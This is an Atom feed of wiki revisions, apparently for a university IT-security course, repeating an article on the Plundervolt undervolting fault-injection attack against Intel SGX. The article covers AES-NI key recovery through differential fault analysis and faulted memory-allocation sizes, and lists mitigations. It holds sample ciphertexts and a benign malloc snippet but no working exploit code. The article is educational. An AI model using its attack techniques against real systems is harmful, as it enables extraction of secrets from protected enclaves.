<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=SVrdoljak</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=SVrdoljak"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/SVrdoljak"/>
	<updated>2026-09-10T16:34:27Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=9003</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=9003"/>
		<updated>2021-12-21T22:33:56Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: /* Faulting Memory Allocations */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This security feature allows developers to isolate various applications inside of secure &amp;quot;enclaves&amp;quot; from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: &lt;br /&gt;
* University of Birmingham (UK)&lt;br /&gt;
* KU Leuven (Belgium)&lt;br /&gt;
* the Graz University of Technology (Austria) &lt;br /&gt;
&lt;br /&gt;
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell&#039;s electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.&lt;br /&gt;
The second concept was CLKSCREW, which showed the usage of the CPU&#039;s energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
The attack vector for breaking the AES-NI encryption instruction (v)aesenc shows that this instruction is vulnerable on the i7-8650U-A processor with –195 mV undervolting and on the i3-7100U-A processor with –232-mV undervolting. The faults were always a single bit flip on the leftmost two bytes of the round function’s output. Such single bit-flip faults are ideally suited for differential fault analysis. The researchers repeated this attack a few times. They got a fault in round 8. The bold text indicates the fault propagation from round to round. In round 8, there is a single fault. In round 9, the fault has affected more bytes. By round 10, every byte is affected. They then apply the differential fault analysis technique which, given a pair of correct and faulty ciphertexts on the same plaintext, recovers the full 128-bit AES key with a computational complexity of only 232 + 256 encryptions on average.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39&lt;br /&gt;
 CT1: DE49E9284A625F72DB87B4A559E814C4       &amp;lt;- faulty&lt;br /&gt;
 CT2: BDFADCE3333976AD53BB1D718DFC4D5A       &amp;lt;- correct&lt;br /&gt;
 &lt;br /&gt;
 input to round 10:&lt;br /&gt;
 1: &#039;&#039;&#039;CD58F457 A9F61565 2880132E 14C32401&#039;&#039;&#039;&lt;br /&gt;
 2: &#039;&#039;&#039;AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F&#039;&#039;&#039;&lt;br /&gt;
 &lt;br /&gt;
 input to round 9:&lt;br /&gt;
 1: 6F6356&#039;&#039;&#039;F9&#039;&#039;&#039; 26F80&#039;&#039;&#039;71&#039;&#039;&#039;F 9D&#039;&#039;&#039;90&#039;&#039;&#039;C6B2 &#039;&#039;&#039;E6&#039;&#039;&#039;884534&lt;br /&gt;
 2: 6F6356&#039;&#039;&#039;C7&#039;&#039;&#039; 26F8D&#039;&#039;&#039;01&#039;&#039;&#039;F 9D&#039;&#039;&#039;F7&#039;&#039;&#039;C6B2 &#039;&#039;&#039;A4&#039;&#039;&#039;884534&lt;br /&gt;
 &lt;br /&gt;
 input to round 8:&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;3E&#039;&#039;&#039;70A1&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;66&#039;&#039;&#039;70A1&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
The second attack vector is size computations for dynamic memory allocations. These allocations are very common and rely on multiplications. For example, a large array of struct elements might be allocated using the following (where red indicates the data type of the variable, teal is a code comment, and green represents a keyword). However, we showed that Plundervolt breaks the processor’s architectural guarantees, as imul (signed multiply) can be faulted to produce erroneous results that are smaller than the expected value. When a multiplication fault occurs during calculation of the size variable, a smaller buffer than expected will be allocated. Because Plundervolt corrupts multiplications silently, without failing the malloc() call, the subsequent code has no means of determining the actual size of the allocated buffer. The allocated buffer will assume a larger buffer for write and read operations and hence read or write out of bounds, corrupting the trusted enclave heap.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &#039;&#039;// Compute size&#039;&#039;&lt;br /&gt;
 size_t size = count * sizeof(elem_t);&lt;br /&gt;
 &lt;br /&gt;
 &#039;&#039;// Allocate array&#039;&#039;&lt;br /&gt;
 elem_t *array = malloc(size);&lt;br /&gt;
 &lt;br /&gt;
 &#039;&#039;// ... use array ...&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt is a serious issue. Countermeasures and counterattacks, as published by the researchers, for Plundervolt would be:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Hardening the trusted in-enclave code, by detecting faulty computation results.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt; &lt;br /&gt;
* For cryptographic algorithms, the use of (generic) temporal redundancy (compute-twice-and-compare) is proposed as well as the usage of more algorithm-specific approaches. For instance, in the RSA-CRT case, the signature could be verified. In the AES-NI case, the encryption can be verified with a subsequent decryption, and so on.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
* For noncryptographic code the situation is complicated—the exact results of a fault injection will vary. Mitigations like address space layout randomization (which changes the location of the program in memory each time it runs) make exploits harder but still do not remove the root cause.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Intel has already patched the vulnerability. The patch is a BIOS update that turns off access to the processor instruction used to produce undervoltages, thus stopping any software, including code inside the kernel, from fiddling with your CPU voltage while the system is running.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=9002</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=9002"/>
		<updated>2021-12-21T22:32:56Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This security feature allows developers to isolate various applications inside of secure &amp;quot;enclaves&amp;quot; from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: &lt;br /&gt;
* University of Birmingham (UK)&lt;br /&gt;
* KU Leuven (Belgium)&lt;br /&gt;
* the Graz University of Technology (Austria) &lt;br /&gt;
&lt;br /&gt;
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell&#039;s electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.&lt;br /&gt;
The second concept was CLKSCREW, which showed the usage of the CPU&#039;s energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
The attack vector for breaking the AES-NI encryption instruction (v)aesenc shows that this instruction is vulnerable on the i7-8650U-A processor with –195 mV undervolting and on the i3-7100U-A processor with –232-mV undervolting. The faults were always a single bit flip on the leftmost two bytes of the round function’s output. Such single bit-flip faults are ideally suited for differential fault analysis. The researchers repeated this attack a few times. They got a fault in round 8. The bold text indicates the fault propagation from round to round. In round 8, there is a single fault. In round 9, the fault has affected more bytes. By round 10, every byte is affected. They then apply the differential fault analysis technique which, given a pair of correct and faulty ciphertexts on the same plaintext, recovers the full 128-bit AES key with a computational complexity of only 232 + 256 encryptions on average.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39&lt;br /&gt;
 CT1: DE49E9284A625F72DB87B4A559E814C4       &amp;lt;- faulty&lt;br /&gt;
 CT2: BDFADCE3333976AD53BB1D718DFC4D5A       &amp;lt;- correct&lt;br /&gt;
 &lt;br /&gt;
 input to round 10:&lt;br /&gt;
 1: &#039;&#039;&#039;CD58F457 A9F61565 2880132E 14C32401&#039;&#039;&#039;&lt;br /&gt;
 2: &#039;&#039;&#039;AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F&#039;&#039;&#039;&lt;br /&gt;
 &lt;br /&gt;
 input to round 9:&lt;br /&gt;
 1: 6F6356&#039;&#039;&#039;F9&#039;&#039;&#039; 26F80&#039;&#039;&#039;71&#039;&#039;&#039;F 9D&#039;&#039;&#039;90&#039;&#039;&#039;C6B2 &#039;&#039;&#039;E6&#039;&#039;&#039;884534&lt;br /&gt;
 2: 6F6356&#039;&#039;&#039;C7&#039;&#039;&#039; 26F8D&#039;&#039;&#039;01&#039;&#039;&#039;F 9D&#039;&#039;&#039;F7&#039;&#039;&#039;C6B2 &#039;&#039;&#039;A4&#039;&#039;&#039;884534&lt;br /&gt;
 &lt;br /&gt;
 input to round 8:&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;3E&#039;&#039;&#039;70A1&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;66&#039;&#039;&#039;70A1&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
The second attack vector is size computations for dynamic memory allocations. These allocations are very common and rely on multiplications. For example, a large array of struct elements might be allocated using the following (where red indicates the data type of the variable, teal is a code comment, and green represents a keyword). However, we showed that Plundervolt breaks the processor’s architectural guarantees, as imul (signed multiply) can be faulted to produce erroneous results that are smaller than the expected value. When a multiplication fault occurs during calculation of the size variable, a smaller buffer than expected will be allocated. Because Plundervolt corrupts multiplications silently, without failing the malloc() call, the subsequent code has no means of determining the actual size of the allocated buffer. The allocated buffer will assume a larger buffer for write and read operations and hence read or write out of bounds, corrupting the trusted enclave heap.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &#039;&#039;// Compute size&#039;&#039;&lt;br /&gt;
 size_t size = count * sizeof(elem_t);&lt;br /&gt;
 &lt;br /&gt;
 &#039;&#039;// Allocate array&#039;&#039;&lt;br /&gt;
 elem_t *array = malloc(size);&lt;br /&gt;
 &lt;br /&gt;
 &#039;&#039;// ... use array ...&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt is a serious issue. Countermeasures and counterattacks, as published by the researchers, for Plundervolt would be:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Hardening the trusted in-enclave code, by detecting faulty computation results.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt; &lt;br /&gt;
* For cryptographic algorithms, the use of (generic) temporal redundancy (compute-twice-and-compare) is proposed as well as the usage of more algorithm-specific approaches. For instance, in the RSA-CRT case, the signature could be verified. In the AES-NI case, the encryption can be verified with a subsequent decryption, and so on.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
* For noncryptographic code the situation is complicated—the exact results of a fault injection will vary. Mitigations like address space layout randomization (which changes the location of the program in memory each time it runs) make exploits harder but still do not remove the root cause.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Intel has already patched the vulnerability. The patch is a BIOS update that turns off access to the processor instruction used to produce undervoltages, thus stopping any software, including code inside the kernel, from fiddling with your CPU voltage while the system is running.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=9001</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=9001"/>
		<updated>2021-12-21T22:31:05Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This security feature allows developers to isolate various applications inside of secure &amp;quot;enclaves&amp;quot; from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: &lt;br /&gt;
* University of Birmingham (UK)&lt;br /&gt;
* KU Leuven (Belgium)&lt;br /&gt;
* the Graz University of Technology (Austria) &lt;br /&gt;
&lt;br /&gt;
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell&#039;s electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.&lt;br /&gt;
The second concept was CLKSCREW, which showed the usage of the CPU&#039;s energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
The attack vector for breaking the AES-NI encryption instruction (v)aesenc shows that this instruction is vulnerable on the i7-8650U-A processor with –195 mV undervolting and on the i3-7100U-A processor with –232-mV undervolting. The faults were always a single bit flip on the leftmost two bytes of the round function’s output. Such single bit-flip faults are ideally suited for differential fault analysis. The researchers repeated this attack a few times. They got a fault in round 8. The bold text indicates the fault propagation from round to round. In round 8, there is a single fault. In round 9, the fault has affected more bytes. By round 10, every byte is affected. They then apply the differential fault analysis technique which, given a pair of correct and faulty ciphertexts on the same plaintext, recovers the full 128-bit AES key with a computational complexity of only 232 + 256 encryptions on average.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39&lt;br /&gt;
 CT1: DE49E9284A625F72DB87B4A559E814C4       &amp;lt;- faulty&lt;br /&gt;
 CT2: BDFADCE3333976AD53BB1D718DFC4D5A       &amp;lt;- correct&lt;br /&gt;
 &lt;br /&gt;
 input to round 10:&lt;br /&gt;
 1: &#039;&#039;&#039;CD58F457 A9F61565 2880132E 14C32401&#039;&#039;&#039;&lt;br /&gt;
 2: &#039;&#039;&#039;AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F&#039;&#039;&#039;&lt;br /&gt;
 &lt;br /&gt;
 input to round 9:&lt;br /&gt;
 1: 6F6356&#039;&#039;&#039;F9&#039;&#039;&#039; 26F80&#039;&#039;&#039;71&#039;&#039;&#039;F 9D&#039;&#039;&#039;90&#039;&#039;&#039;C6B2 &#039;&#039;&#039;E6&#039;&#039;&#039;884534&lt;br /&gt;
 2: 6F6356&#039;&#039;&#039;C7&#039;&#039;&#039; 26F8D&#039;&#039;&#039;01&#039;&#039;&#039;F 9D&#039;&#039;&#039;F7&#039;&#039;&#039;C6B2 &#039;&#039;&#039;A4&#039;&#039;&#039;884534&lt;br /&gt;
 &lt;br /&gt;
 input to round 8:&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;3E&#039;&#039;&#039;70A1&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;66&#039;&#039;&#039;70A1&lt;br /&gt;
